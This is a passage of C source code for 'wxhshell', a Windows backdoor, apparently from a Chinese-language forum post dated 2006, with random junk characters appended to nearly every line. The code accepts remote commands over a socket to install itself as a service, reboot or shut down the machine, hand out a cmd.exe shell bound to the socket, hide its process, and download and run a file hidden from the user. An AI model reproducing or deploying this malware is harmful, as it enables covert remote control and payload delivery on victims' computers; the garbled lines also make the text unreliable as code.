  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &MQmu,4  
  } ^WgX Qtn  
  else { wLH>:yKUU  
_\G"9,)u '  
    switch(cmd[0]) { }Yzco52  
  I\{ 1u  
  // 帮助 u#$]?($}d  
  case '?': { n8 i] z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ay ;S4c/_  
    break; gMmaK0uhS  
  } VcO0sa f`  
  // 安装 - q1?? u  
  case 'i': { k8[n+^  
    if(Install()) F=e8IUr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O!#g<`r{K  
    else 2B[X,rL.pX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?m}s4a  
    break; TH&U j1  
    } u(>^3PJ+  
  // 卸载 ]"hFC<w  
  case 'r': { ,{u yG:  
    if(Uninstall()) Ts[_u@   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ $ ;q ;  
    else { ]{/t-=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lv;^My  
    break; 4{U T!WIi  
    } iDp)FQ$  
  // 显示 wxhshell 所在路径 x7&B$.>3  
  case 'p': { t7Iv?5]N  
    char svExeFile[MAX_PATH]; IqaT?+O\?r  
    strcpy(svExeFile,"\n\r"); N=5a54!/  
      strcat(svExeFile,ExeFile); v\gLWq'  
        send(wsh,svExeFile,strlen(svExeFile),0); l'-Bu(  
    break; xQ-<WF1i  
    } %~H-)_d20  
  // 重启 yy^q2P  
  case 'b': { kW Ml  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :Uzm  
    if(Boot(REBOOT)) @]%IK(|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !*d I|k  
    else { TOB-aAO  
    closesocket(wsh); yiXSYD  
    ExitThread(0); |^"1{7)  
    } ICx#{q@f,  
    break; eCU:Q  
    } wo;~7K  
  // 关机 o4F2%0gJ  
  case 'd': { a od-3"7[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~*&H$6NJS  
    if(Boot(SHUTDOWN)) SuJ aL-;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *eTqVG.  
    else { +ZaSM~   
    closesocket(wsh); y*jp79G  
    ExitThread(0); T= y}y  
    } 8yR.uMI$/  
    break; Q^9_' t}X  
    } ]b:Lo  
  // 获取shell Ct<udO  
  case 's': { >reU#j  
    CmdShell(wsh); p?%y82E  
    closesocket(wsh); Olt?~}  
    ExitThread(0); mA}TJz  
    break; .LnGL]/  
  } Eak$u>Fd8c  
  // 退出 TTX5EDCrC  
  case 'x': { W fN2bsx>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b5dD/-Vj  
    CloseIt(wsh); hP%M?MKC  
    break; g#pr yYz  
    } T9E+\D  
  // 离开 (&Kk7<#`  
  case 'q': { T?CdZc.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .,|G7DGH]  
    closesocket(wsh); Af~$TyX  
    WSACleanup(); ,GhS[VJjR  
    exit(1); iJ)_RSFK  
    break; kYP#SH/  
        } Fh&G;aEq  
  } y4 #>X  
  } d=$Mim  
^qvZXb  
  // 提示信息 T[w]o}>cW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hn7# L  
} !3c\NbU  
  } xf\C|@i  
}1L4 "}L.  
  return; hlvK5Z   
} +5g_KS  
z3{G9Np  
// shell模块句柄 kr^P6}'  
int CmdShell(SOCKET sock) B-Ll{k^  
{ r..iko]T  
STARTUPINFO si; o=:9y-nH  
ZeroMemory(&si,sizeof(si)); /Y:sLGQLD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?um;s-x)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rQ{7j!Im  
PROCESS_INFORMATION ProcessInfo; 0I-9nuw,^;  
char cmdline[]="cmd"; niMsQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TM__I\+Q  
  return 0; L81ZbNU?$  
} ^lnK$i  
L Tm2G4+]  
// 自身启动模式 :_`F{rDB  
int StartFromService(void) +[6G5cH  
{ 1W c=5!  
typedef struct <VMGTBVQ  
{ a Yg6H2Un  
  DWORD ExitStatus; Si4!R+4w  
  DWORD PebBaseAddress; r(>@qGN  
  DWORD AffinityMask; nI?[rCM  
  DWORD BasePriority; *nT<m\C6  
  ULONG UniqueProcessId; p%up)]?0  
  ULONG InheritedFromUniqueProcessId; (R,#a *CV  
}   PROCESS_BASIC_INFORMATION; 3,_aAgeE  
ueogaifvB  
PROCNTQSIP NtQueryInformationProcess; rm'SOJVA  
v4a8}G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `$Y.Y5mGtJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |MTnH/|  
Y1 w9y  
  HANDLE             hProcess; sU<Wnz\[  
  PROCESS_BASIC_INFORMATION pbi; d(ZO6Nr Q  
~gJwW+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KWbI'}_z  
  if(NULL == hInst ) return 0; do hA0  
u4cnE"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;DQ ZT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g\|PcoLm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~f2z]JLr:  
ql Ax  
  if (!NtQueryInformationProcess) return 0; 4!{KWL`A  
-u+vJ6EY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (!u~CZ;  
  if(!hProcess) return 0; l ~"^7H?4e  
c1(RuP:S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o+iiST JEe  
G{~J|{t\yz  
  CloseHandle(hProcess); tn\yI!a  
b}$+H/V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vQG5*pR*w  
if(hProcess==NULL) return 0; UkwP  
5:[0z5Hww  
HMODULE hMod; 3Y4?CM&0v  
char procName[255]; PA{PD.4Du  
unsigned long cbNeeded; [-1^-bb  
dmtr*pM_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gT{Q#C2Baw  
c% -Tem'#  
  CloseHandle(hProcess); ] Jg&VXrH  
,$L4dF3  
if(strstr(procName,"services")) return 1; // 以服务启动 [o#oa k{U  
,Q$ q=E;X  
  return 0; // 注册表启动 hg]]Ok~cAs  
} lWk>z; d  
4}baSV  
// 主模块 |fJ};RLI"  
int StartWxhshell(LPSTR lpCmdLine) !<8W {LT  
{ ITXa&5D  
  SOCKET wsl; 8mrUotjS  
BOOL val=TRUE; m]0;"jeL  
  int port=0; bjW]bRw  
  struct sockaddr_in door; &ee~p&S,>  
np^N8$i:n  
  if(wscfg.ws_autoins) Install(); e;q!6%  
K=Z|/Kkh  
port=atoi(lpCmdLine); &{n.]]%O.  
^$jb7HMObI  
if(port<=0) port=wscfg.ws_port; WM$ MPs  
K hR81\  
  WSADATA data; cGzPI +F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8U"v6S~A%Q  
2%Ri,4SRb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CI0C1/:@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |$Sedzj'  
  door.sin_family = AF_INET; 1~_{$5[X?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <8&au(I,vB  
  door.sin_port = htons(port); N0Lw}@p  
'3tCH)s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ykw*&opz  
closesocket(wsl); wH&!W~M  
return 1; ;(Or`u]Dr  
} 20h, ^  
WIxy}3_to  
  if(listen(wsl,2) == INVALID_SOCKET) { e{K 215  
closesocket(wsl); + .[ <%  
return 1; nPl?K:(  
} ^A/k)x6  
  Wxhshell(wsl); n0 {i&[I~+  
  WSACleanup(); 3z?> j]  
U(g:zae  
return 0; hd<c&7|G'  
F^BS/Yag  
} j{A y\n(  
azp):*f("  
// 以NT服务方式启动 I"<\<^B<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \'D0'\:vz  
{ *Kg ks4  
DWORD   status = 0; Rtl"Ub@HV  
  DWORD   specificError = 0xfffffff; zu{P#~21  
k$R-#f;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #OD/$f_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?P`K7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 266h\2t6  
  serviceStatus.dwWin32ExitCode     = 0; l<LI7Z]A  
  serviceStatus.dwServiceSpecificExitCode = 0; <0&*9ZeD  
  serviceStatus.dwCheckPoint       = 0; 'Aq{UGN  
  serviceStatus.dwWaitHint       = 0; Yujiqi]J;  
]Ie 0S~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vMH  
  if (hServiceStatusHandle==0) return; b9HtR-iR;  
WlC:l  
status = GetLastError(); u0c1:Uv#~e  
  if (status!=NO_ERROR) 3$>1FoSk  
{ m@v\(rT.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;))+>%SGCt  
    serviceStatus.dwCheckPoint       = 0; h2]P]@nW;W  
    serviceStatus.dwWaitHint       = 0; {@{']Y  
    serviceStatus.dwWin32ExitCode     = status; MaQqs=  
    serviceStatus.dwServiceSpecificExitCode = specificError; @9RM9zK.q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k(G^z   
    return; f+)L#>Gl?  
  } :bq8N@P/  
rcG"o\g@+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C XMLt  
  serviceStatus.dwCheckPoint       = 0; c]o'xd,T8\  
  serviceStatus.dwWaitHint       = 0; 29] G^f>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "e>;'%W  
} O;jrCB  
q{LF>Wi  
// 处理NT服务事件,比如:启动、停止 @:vwb\azVD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L^?qOylu  
{ %pL''R9VF  
switch(fdwControl) )}Kf=  
{ z,p~z*4  
case SERVICE_CONTROL_STOP: A]oV"`f  
  serviceStatus.dwWin32ExitCode = 0; >@_^fw)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E4/Dr}4  
  serviceStatus.dwCheckPoint   = 0; Ioa$51&  
  serviceStatus.dwWaitHint     = 0;  >Abdd  
  { 8wFJ4v3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bJTBjS-7  
  } ^Y \"}D  
  return; aeM+ d`f  
case SERVICE_CONTROL_PAUSE: n 0L^e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x g  
  break; E*K;H8}s  
case SERVICE_CONTROL_CONTINUE: 6?J i7F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -C]5>& W  
  break; }|NCboM^_  
case SERVICE_CONTROL_INTERROGATE: uHzU-FZ|B  
  break; 0 /U{p,r6`  
}; \Uq(Zga4)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &}B|"s[  
} '7 @zGk##(  
4vB<fPN  
// 标准应用程序主函数 S_UIO.K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yN(%-u"  
{ A$0fKko  
+',S]Edx  
// 获取操作系统版本 Dp-z[]})1  
OsIsNt=GetOsVer(); Fywv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v`Oc,  
@`- 4G2IU}  
  // 从命令行安装 >_T-u<E  
  if(strpbrk(lpCmdLine,"iI")) Install(); )1`0PJoHE  
R$[vm6T?  
  // 下载执行文件 $B5aje}i  
if(wscfg.ws_downexe) { \"OG6G_>$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cIOlhX@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9EibIOD^/  
} sS'm!7*(3  
GH$pKB  
if(!OsIsNt) { [5Mr@f4I  
// 如果时win9x,隐藏进程并且设置为注册表启动 'e'cb>GnA  
HideProc(); P{ lB50  
StartWxhshell(lpCmdLine); ar+9\  
} z5*'{t)  
else Y O}<Ytx  
  if(StartFromService()) @Qt{jI !  
  // 以服务方式启动 ')<hON44EX  
  StartServiceCtrlDispatcher(DispatchTable); PIS2Ed]  
else i5@ z< \  
  // 普通方式启动 >@ .  
  StartWxhshell(lpCmdLine); p}U ~+:v  
{8bSB.?R  
return 0; a~y'RyA  
}
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只看该作者 1 发表于: 2006-10-10
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